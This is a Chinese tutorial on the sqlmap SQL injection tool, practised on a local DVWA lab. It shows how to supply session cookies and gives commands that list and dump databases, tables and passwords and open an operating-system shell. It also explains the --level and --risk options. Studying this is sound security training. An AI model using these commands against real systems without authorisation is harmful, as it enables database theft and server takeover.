sql注入工具-​sqlmap

news2024/11/16 1:55:30

介绍:

  • sqlmap是一款开源的自动化SQL注入工具,用于自动化检测和利用Web应用程序中的SQL注入漏洞。它具有强大的参数化查询和自定义注入脚本的功能,可以通过检测和利用SQL注入漏洞来获取数据库的敏感信息,如用户名、密码和其他重要数据。
  • sqlmap支持多种数据库管理系统,包括MySQL、Oracle、PostgreSQL和Microsoft SQL Server等。它可以通过发送特制的HTTP请求来检测和利用SQL注入漏洞,还可以使用不同的技术和方法来绕过应用程序的防御机制,以获取更多的信息和访问权限。
  • sqlmap具有命令行界面和图形用户界面两种使用方式,用户可以根据自己的需求选择合适的界面来操作。它支持各种高级注入技术,如时间延迟注入、布尔盲注和报错注入等,可以高效地检测和利用各种类型的SQL注入漏洞。
  • 总之,sqlmap是一款功能强大的SQL注入工具,可以帮助安全研究人员和渗透测试人员自动化检测和利用Web应用程序中的SQL注入漏洞,从而提高安全性和保护敏感数据。

1. sqlmap工具安装

下载:GitHub - sqlmapproject/sqlmap: Automatic SQL injection and database takeover tool

提示:如果你有kali虚拟机,也可以使用kali上自带的sqlmap


2. 快速上手sqlmap

提示:以下示例中使用的靶场为dvwa

1. 初体验-检测注入点:难度为 low 的 SQL Injection

如果测试的接口是登录后的那么就需要携带cookie给sqlmap,以下是关于cookie的获取方式

打开开发者工具,点击网络,然后重新刷新网页,找到sqli开头的文档,找到cookie然后复制

或者打开开发者工具后,在控制台输入,copy(document.cookie),就会自动复制

  1. 疑似存在注入点的url:http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
  2. 打开sqlmap,执行命令:检测注入点
    python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie='security=low; PHPSESSID=tvdumf3v7rku6h1l7st3fjrv6v'

  3. 执行完成的结果:

       


2. 初体验-检测注入点:难度为 High 的 SQL Injection

  • 主要是学习sqlmap,怎么用于对拥有二级页面的网址进行扫描
  • sqlmap针对于存在二级页面的使用方式
  • 这里可以将输入数据的页面称为一级页面,返回数据的页面称为二级页面

使用命令:

python .\sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/session-input.php" --data="id=2&Submit=Submit" --second-url="http://127.0.0.1/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=d1hbjkficvsajjoqbcftdgjtn4"

命令解读:python .\sqlmap.py -u "提交数据的网址" --data="POST请求的数据" --second-url="返回数据的网址" --cookie="security=high; PHPSESSID=d1hbjkficvsajjoqbcftdgjtn4"


3.常用命令

基本的常用命令:

  • 检测注入点:sqlmap.py -u "疑似存在注入点的url"
  • 查看所有数据库:sqlmap.py -u "疑似存在注入点的url" --dbs
  • 查看当前使用的数据库:sqlmap.py -u "疑似存在注入点的url" --current-db
  • 查看数据表:sqlmap.py -u "疑似存在注入点的url" --tables
    • 或指定某个查看数据库的数据表名:sqlmap.py -u "疑似存在注入点的url" -D ""数据库 --tables
  • 查看数据表所有数据:sqlmap.py -u "疑似存在注入点的url" -D '数据库名称' -T '数据表名称' --dump
    • 或者查看数据表中指定字段的数据:sqlmap.py -u "疑似存在注入点的url" -D '数据库名称' -T '数据表名称' -C "user,password" --dump
  • 获取数据库密码:sqlmap.py -u "疑似存在注入点的url" --password
  • 获取所有数据库用户:sqlmap.py -u "疑似存在注入点的url" --users
  • 指定扫描线程:sqlmap.py -u "疑似存在注入点的url" --threads=10
  • 设置cookie:sqlmap.py -u "疑似存在注入点的url" --cookie="cookie值"
  • 获取数据表字段:sqlmap.py -u "疑似存在注入点的url" -D '数据库名称' -T '数据表名称' --columns
  • 选项默认全选Y:sqlmap.py -u "疑似存在注入点的url" --batch
    • 使用–batch参数,可以在所有需要用户输入的部分(通常是询问执行yes还是no),执行默认操作,不需要用户再输入
  • 注入探索等级,一般用4:sqlmap.py -u "疑似存在注入点的url" --level=1
    • --level 一共有5个等级:1-5
  • 设置注入类型:sqlmap.py -u "疑似存在注入点的url" --technique="注入的类型"
    • B:Boolean-based blind(布尔型注入)
    • E:Error-based(报错型注入)
    • U:Union query-based(可联合查询注入)
    • S:Stacked queries(可多语句查询注入)
    • T:Time-based blind(基于时间延迟注入)
    • Q:Inline queries(嵌套查询注入)
    • 使用方式:
      • 1. 检测注入点:sqlmap.py -u "疑似存在注入点的url"
      • 2. 知道存在的注入点后-设置technique:sqlmap.py -u "疑似存在注入点的url"  --technique="B"
    • 获取数据库服务器的操作系统shell访问权限:--os-shell 
      • sqlmap.py -u "疑似存在注入点的url" --os-shell
  • 批量检测url命令 -m : sqlmap.py -m urls.txt
  • 检测burp抓包格式 -r: sqlmap.py -r burp.txt
  • 指定输出结果路径 --output-dir 路径: sqlmap.py -r burp.txt --output-dir C:\User\1111\Desktop\
  • 设置随机的HTTP User-Agent: sqlmap.py -u "疑似存在注入点的url" --random-agent
  • 指定url参数:sqlmap.py -u "疑似存在注入点的url" -p "id"
  • 以上的命令都能联合使用:
    • 例如:
      sqlmap.py -u "疑似存在注入点的url" -D '数据库名称' -T '数据表名称' --columns -threads=10 --dump 


关于level参数和risk参数

  • level参数:--level 参数决定了sqlmap在检测sql注入时的努力程度
    • level 1:默认的level等级,会测试GET和POST请求中的参数
    • level 2:除了前面提到的,还会检测cookie中的数据
    • level 3:user-agent和referer头部也纳入检测返回
    • level4~5:会尝试各种payloads 和边界条件,确保不放过任何潜在的注入点
      • 关于什么是payloas:
        • "payload" 是一个常见的术语,指的是在攻击或渗透测试中用于执行某种操作或达到某种目的的恶意代码或数据。 在攻击者的角度,payload 可能是一段恶意代码,用于利用系统或应用程序中的漏洞,以获取未授权的访问权限、执行命令、窃取敏感信息等。
      • 默认使用sqlmap中的payloads
      • 关于自定义payloads请在搜索引擎上查找相关资料
  • risk参数:--risk 与 --level 不同,-risk 参数更像是告诉 sqlmap:“我愿意承担多大的风险来进行这次测试
    • risk 1:安全第一,默认的风险等级,风险几乎为 0 
    • risk 2:除了默认的检测,还会尝试时间型盲注
    • risk 3:在风险等级2的基础上,在加上 OR 类型的布尔型盲注。这种方式在某些情况下可能会导致数据表的所有记录被更新,所以使用时需谨慎。
  • level 和 risk的区别:
    • 方向不同--level 更像是广度上的拓展,而 --risk 则是深度上的挖掘。
    • 场景不同:如果觉得默认的 GET 和 POST 参数检测不够,想要找找其它位置的注入点时,可以考虑加 --level 等级。如果可以确定某个位置就是存在注入点,或是强烈怀疑某个地方存在注入,但目前的 payload 覆盖不到,而且愿意承担风险进行深入测试时,可以考虑提升 --risk 等级。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1643472.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Dockerfile镜像实例

目录 一、构建SSH镜像 1. 建立工作目录 2. 生成镜像 3. 启动容器并修改root密码 二、systemctl镜像 1. 建立工作目录 2. 生成镜像 3. 运行镜像容器 ​编辑 4. 测试容器systemct 三、Nginx镜像 1. 建立工作目录 2. 编写Dockerfile脚本 3. 编写run.sh启动脚本 4. …

Java之SimpleDateFormat

系列文章目录 文章目录 系列文章目录前言前言 前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到网站,这篇文章男女通用,看懂了就去分享给你的码吧。 在多线程环境下,当多个线程同时使用相同的SimpleDateFormat对象(如stat…

数据结构---时间复杂度+空间复杂度

算法(algorithm)简单说就是解决问题的方法。方法有好坏,同样算法也是,有效率高的算法,也有效率低的算法。衡量算法的好坏一般从时间和空间两个维度衡量,也就是本文要介绍的时间复杂度和空间复杂度。有些时候,时间与空间…

(三)JVM实战——对象的内存布局与执行引擎详解

对象的内存布局 对象的实例化 对象的创建方式 - new的方式 - Class的newInstance():反射的方式 - Construct的newInstance() - clone:实现Cloneable接口,默认浅拷贝 - 使用反序列化:将二进制流转化为内存对象 创建对象的步骤 - 判断对象对应的类是否加载、链接、初…

RabbitMQ之生产批量发送

为什么要用生产批量发送? 批量发送消息,可以提高MQ发送性能。但是 RabbitMQ 并没有提供了批量发送消息的 API 接口,使用 spring-amqp 的 BatchingRabbitTemplate 实现批量能力。 SimpleBatchingStrategy 发送策略满足以下规则会进行发送: ba…

扩展学习|国内外用户画像相关进展一览

文献来源:徐芳,应洁茹.国内外用户画像研究综述[J].图书馆学研究,2020(12):7-16.DOI:10.15941/j.cnki.issn1001-0424.2020.12.002. 一、用户画像的概念 用户画像概念一经提出,便被广泛应用到精准营销等领域。后来,作为一种描绘用户特征、表达用户诉求的有效工具,用户…

Angular进阶-NVM管理Node.js实现不同版本Angular环境切换

一、NVM介绍 1. NVM简介 Node Version Manager(NVM)是一个用于管理多个Node.js版本的工具。它允许用户在同一台机器上安装和使用多个Node.js版本,非常适合需要同时进行多个项目的开发者。NVM是开源的,支持MacOS、Windows和Linux…

LLM应用:工作流workflow创建自定义模版使用

参考: https://www.coze.cn/ 本案例是在coze平台上操作的,也有其他工具支持工作流的创建例如dify;也例如图像生成的comfyui工作流工具 创建自定义模版 可以根据自己需求创建自己的工作流工具;本文案例是创建一个联网搜索的LLM应用: 创建工作流页面: https://www.coze.c…

Java面试——不安全的集合类

​ 系统性学习&#xff0c;移步IT-BLOG-CN Java 中有许多的集合&#xff0c;常用的有List&#xff0c;Set&#xff0c;Queue&#xff0c;Map。 其中 List&#xff0c;Set&#xff0c;Queue都是Collection&#xff08;集合&#xff09;&#xff0c;List中<>的内容表示其中…

Linux CPU 飙升 排查五步法

排查思路-五步法 1. top命令定位应用进程pid 找到最耗时的CPU的进程pid top2. top-Hp[pid]定位应用进程对应的线程tid 找到最消耗CPU的线程ID // 执行 top -Hp [pid] 定位应用进程对应的线程 tid // 按shift p 组合键&#xff0c;按照CPU占用率排序 > top -Hp 111683.…

华为手机ip地址怎么切换

随着移动互联网的普及&#xff0c;IP地址成为了我们手机上网的重要标识。然而&#xff0c;在某些情况下&#xff0c;我们可能需要切换手机的IP地址&#xff0c;以更好地保护个人隐私、访问特定地区的内容或服务&#xff0c;或者出于其他网络需求。华为手机作为市场上的热门品牌…

【uniapp】H5+、APP模拟浏览器环境内部打开网页

前言 今天将智能体嵌入到我的项目中&#xff0c;当作app应用时&#xff0c;发现我使用的webview组件&#xff0c;无论H5怎么登录都是未登录&#xff0c;而APP却可以&#xff0c;于是进行了测试&#xff0c;发现以下几种情况&#xff1a; 方法<a>标签webviewAPP✅✅网页…

Spring扩展点(一)Bean生命周期扩展点

Bean生命周期扩展点 影响多个Bean的实例化InstantiationAwareBeanPostProcessorBeanPostProcessor 影响单个Bean的实例化纯粹的生命周期回调函数InitializingBean&#xff08;BeanPostProcessor 的before和after之间调用&#xff09;DisposableBean Aware接口在生命周期实例化过…

Hive大数据任务调度和业务介绍

目录 一、Zookeeper 1.zookeeper介绍 2.数据模型 3.操作使用 4.运行机制 5.一致性 二、Dolphinscheduler 1.Dolphinscheduler介绍 架构 2.架构说明 该服务内主要包含: 该服务包含&#xff1a; 3.FinalShell主虚拟机启动服务 4.Web网页登录 5.使用 5-1 安全中心…

[入门] Unity Shader前置知识(5) —— 向量的运算

在Unity中&#xff0c;向量无处不在&#xff0c;我想很多人都使用过向量类的内置方法 normalized() 吧&#xff0c;我们都知道该方法是将其向量归一化从而作为一个方向与速度相乘&#xff0c;以达到角色朝任一方向移动时速度都相等的效果&#xff0c;但内部具体是如何将该向量进…

【计算机科学速成课】笔记二

笔记一 文章目录 7.CPU阶段一&#xff1a;取指令阶段阶段二&#xff1a;解码阶段阶段三&#xff1a;执行阶段 8.指令和程序9.高级CPU设计——流水线与缓存 7.CPU CPU也叫中央处理器&#xff0c;下面我们要用ALU&#xff08;输入二进制&#xff0c;会执行计算&#xff09;、两种…

STM32之HAL开发——ADC入门介绍

ADC简介 模数转换&#xff0c;即Analog-to-Digital Converter&#xff0c;常称ADC&#xff0c;是指将连续变量的模拟信号转换为离散的数字信号的器件&#xff0c;比如将模温度感器产生的电信号转为控制芯片能处理的数字信号0101&#xff0c;这样ADC就建立了模拟世界的传感器和…

C++异常处理实现(libstdc++)

摘要&#xff1a;为了更好的理解C中异常处理的实现&#xff0c;本文简单描述了Itanium ABI中异常处理的流程和llvm/libsdc简要实现。 关键字&#xff1a;C,exception,llvm,clang C他提供了异常处理机制来对程序中的错误进行处理&#xff0c;避免在一些异常情况下无法恢复现场而…

Android C++ 开发调试 LLDB 工具的使用

文章目录 调试环境准备基础命令Breakpoint CommandsWatchpoint CommandsExamining VariablesEvaluating ExpressionsExamining Thread StateExecutable and Shared Library Query Commands 参考&#xff1a; Android 中在进行 NDK 开发的时候&#xff0c;我们经常需要进行 C 代…

漏洞挖掘之某厂商OAuth2.0认证缺陷

0x00 前言 文章中的项目地址统一修改为: a.test.com 保护厂商也保护自己 0x01 OAuth2.0 经常出现的地方 1&#xff1a;网站登录处 2&#xff1a;社交帐号绑定处 0x02 某厂商绑定微博请求包 0x02.1 请求包1&#xff1a; Request: GET https://www.a.test.com/users/auth/weibo?…